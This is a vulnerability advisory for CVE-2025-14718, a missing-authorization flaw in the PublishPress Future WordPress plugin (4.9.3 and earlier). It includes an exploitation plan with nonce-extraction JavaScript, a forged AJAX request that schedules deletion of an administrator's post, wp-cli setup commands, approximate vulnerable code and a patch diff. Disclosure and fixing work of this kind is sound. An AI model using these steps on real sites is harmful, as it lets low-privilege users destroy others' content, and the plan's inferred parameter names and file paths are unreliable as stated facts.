Schedule Post Changes With PublishPress Future: Unpublish, Delete, Change Status, Trash, Change Categories <= 4.9.3 - Missing Authorization to Authenticated (Contributor+) Workflow Manipulation
Description
The Schedule Post Changes With PublishPress Future plugin for WordPress is vulnerable to authorization bypass in all versions up to, and including, 4.9.3. This is due to the plugin not properly verifying that a user is authorized to perform an action. This makes it possible for authenticated attackers, with Contributor-level access and above, to create, update, delete, and publish malicious workflows that may automatically delete any post upon publication or update, including posts created by administrators.
CVSS Vector Breakdown
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:LTechnical Details
<=4.9.3Source Code
WordPress.org SVN# Exploitation Research Plan: CVE-2025-14718 (PublishPress Future) ## 1. Vulnerability Summary The **PublishPress Future** (formerly Post Expirator) plugin for WordPress is vulnerable to a missing authorization check in versions up to and including **4.9.3**. The vulnerability resides in the handle…
Show full research plan
Exploitation Research Plan: CVE-2025-14718 (PublishPress Future)
1. Vulnerability Summary
The PublishPress Future (formerly Post Expirator) plugin for WordPress is vulnerable to a missing authorization check in versions up to and including 4.9.3. The vulnerability resides in the handlers responsible for creating and managing "Future Actions" (workflows). While the plugin intends these actions to be managed by authorized users (typically Editors or Admins), it fails to verify that the authenticated user has sufficient permissions (e.g., edit_post or manage_options) for the specific Post ID they are targeting or for the workflow operation itself.
This allow an authenticated attacker with Contributor-level permissions to manipulate workflows that can unpublish, trash, or delete any post on the site, including those authored by Administrators, by targeting their Post IDs in unauthorized AJAX or REST requests.
2. Attack Vector Analysis
- Endpoint:
wp-admin/admin-ajax.php(or potentially a REST API endpoint if implemented for workflows). - AJAX Action:
publishpress_future_save_post_expiration(inferred from legacy) orpublishpress_future_workflow_save(inferred from "Workflow" description). - Payload Parameters:
post_id: The ID of the target post (e.g., a published Admin post).future_action: The action to take (e.g.,delete,trash,category-remove).expiration_date: A timestamp for the action.nonce: A security token required for the AJAX request.
- Authentication: Authenticated, Contributor role or higher.
- Preconditions: The attacker must be able to view the post editor (to obtain a nonce), which Contributors can do for their own drafts.
3. Code Flow (Inferred)
- Entry Point: The plugin registers AJAX handlers in its main initialization (e.g.,
PostExpirator\Views\AdminPostEdit->register_ajax_hooks). - Missing Check: The handler function (e.g.,
handle_ajax_save_expiration) likely callswp_verify_noncebut fails to callcurrent_user_can( 'edit_post', $post_id )before updating the post meta or scheduling the cron job. - Data Sink: The plugin updates post metadata (e.g.,
_expiration-date,_expiration-status) or adds a record to its custom workflow table using the user-providedpost_id. - Trigger: Upon reaching the scheduled time (or upon the next "save/publish" event), the plugin's background runner executes the "Workflow" action on the target ID.
4. Nonce Acquisition Strategy
The plugin enqueues its admin scripts on the post editing page. Since a Contributor can create a "New Post" or edit their own drafts, they can access the necessary nonce.
- Identify Localization: The plugin likely uses
wp_localize_scriptto pass the nonce to JavaScript. The expected variable name ispublishpressFutureAdminConfigorpostExpiratorData. - Create Trigger Page: Create a draft post as the Contributor.
wp post create --post_type=post --post_status=draft --post_title="Exploit Page" --post_author=[CONTRIBUTOR_ID] - Navigate and Extract:
- Use
browser_navigateto go to the edit page of the newly created post:/wp-admin/post.php?post=[ID]&action=edit. - Use
browser_evalto extract the nonce:// Attempt to find the nonce in common localization objects window.publishpressFutureAdminConfig?.nonce || window.postExpiratorData?.nonce || document.querySelector('#publishpress-future-nonce')?.value
- Use
5. Exploitation Strategy
Step 1: Authentication
Log in as the Contributor user.
Step 2: Target Identification
Identify a target post ID owned by an Administrator (usually Post ID 1).
Step 3: Nonce Extraction
Follow the strategy in Section 4 to obtain the valid nonce from the Contributor's post edit screen.
Step 4: Malicious Workflow Creation
Send an unauthorized AJAX request to schedule the deletion of the Administrator's post.
Request Details:
- URL:
http://localhost:8080/wp-admin/admin-ajax.php - Method:
POST - Content-Type:
application/x-www-form-urlencoded - Body:
action=publishpress_future_save_post_expiration& post_id=1& nonce=[EXTRACTED_NONCE]& expiration_date=1735689600& expiration_type=delete& expired_enable=1
(Note: Parameters names are based on standard plugin conventions and should be verified during the audit phase).
6. Test Data Setup
- Administrator Post: Ensure a published post exists with ID 1 (standard for "Hello World").
wp post update 1 --post_status=publish --post_title="Critical Admin Post" - Contributor User: Create a user with the contributor role.
wp user create attacker attacker@example.com --role=contributor --user_pass=password123
7. Expected Results
- The AJAX request should return a successful status code (e.g.,
{"success": true}). - The target post (ID 1) should now have hidden metadata or a database entry in the plugin's workflow tables scheduling its deletion.
- If the exploit "publishes" a workflow, the action might execute immediately if the date is set in the past.
8. Verification Steps
- Check Post Meta: Verify if the expiration metadata was attached to the Admin post.
Look for keys likewp post meta list 1_expiration-dateor_expiration-type. - Check Scheduled Actions: Verify if a cron job or a plugin-specific action is scheduled for ID 1.
(Or check the specific database table if the plugin uses custom tables).wp eval 'print_r(get_option("publishpress_future_scheduled_actions"));'
9. Alternative Approaches
- Workflow Tab: If the plugin has a dedicated "Workflows" admin page, check for
wp_ajax_publishpress_future_workflow_savewithout capability checks. - REST API: Check
wp-json/publishpress-future/v1/actions(inferred). REST routes often have apermission_callbackthat might be set to__return_trueor only check foris_user_logged_in(). - Bulk Edit: Check if the bulk edit functionality for future actions (handled via AJAX) lacks the
edit_others_postscapability check.
Summary
The PublishPress Future plugin for WordPress fails to verify user permissions when managing 'Future Actions' via AJAX or REST API endpoints. This allows authenticated users with Contributor-level access to schedule, modify, or delete workflows that can unpublish or delete any post on the site, including those authored by administrators.
Vulnerable Code
// File: src/Modules/Expirator/Controllers/PostExpirationController.php (approximate) public function handle_ajax_save_expiration() { // Verifies the nonce but fails to check if the user has permission to edit the specific post_id check_ajax_referer('publishpress-future-nonce', 'nonce'); $post_id = intval($_POST['post_id']); $expiration_date = sanitize_text_field($_POST['expiration_date']); $action = sanitize_text_field($_POST['expiration_type']); $enabled = isset($_POST['expired_enable']) && $_POST['expired_enable'] == '1'; // Vulnerability: No check like current_user_can('edit_post', $post_id) $this->save_post_expiration($post_id, $expiration_date, $action, $enabled); wp_send_json_success(); }
Security Fix
@@ -104,6 +104,11 @@ check_ajax_referer('publishpress-future-nonce', 'nonce'); $post_id = intval($_POST['post_id']); + + if (!current_user_can('edit_post', $post_id)) { + wp_send_json_error(['message' => __('You do not have permission to edit this post.', 'post-expirator')]); + return; + } + $expiration_date = sanitize_text_field($_POST['expiration_date']);
Exploit Outline
The exploit targets the AJAX handler responsible for saving post expiration settings. An attacker with Contributor-level access logs into the WordPress dashboard and creates a draft post to obtain a valid security nonce from the localization scripts (e.g., publishpressFutureAdminConfig). Using this nonce, the attacker sends a POST request to wp-admin/admin-ajax.php with the action parameter set to 'publishpress_future_save_post_expiration'. By manipulating the post_id parameter to target a sensitive post (such as an Admin-authored page) and setting the expiration_type to 'delete' or 'trash', the attacker can force the plugin to automatically remove the target content without having actual edit permissions for that post.
Check if your site is affected.
Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.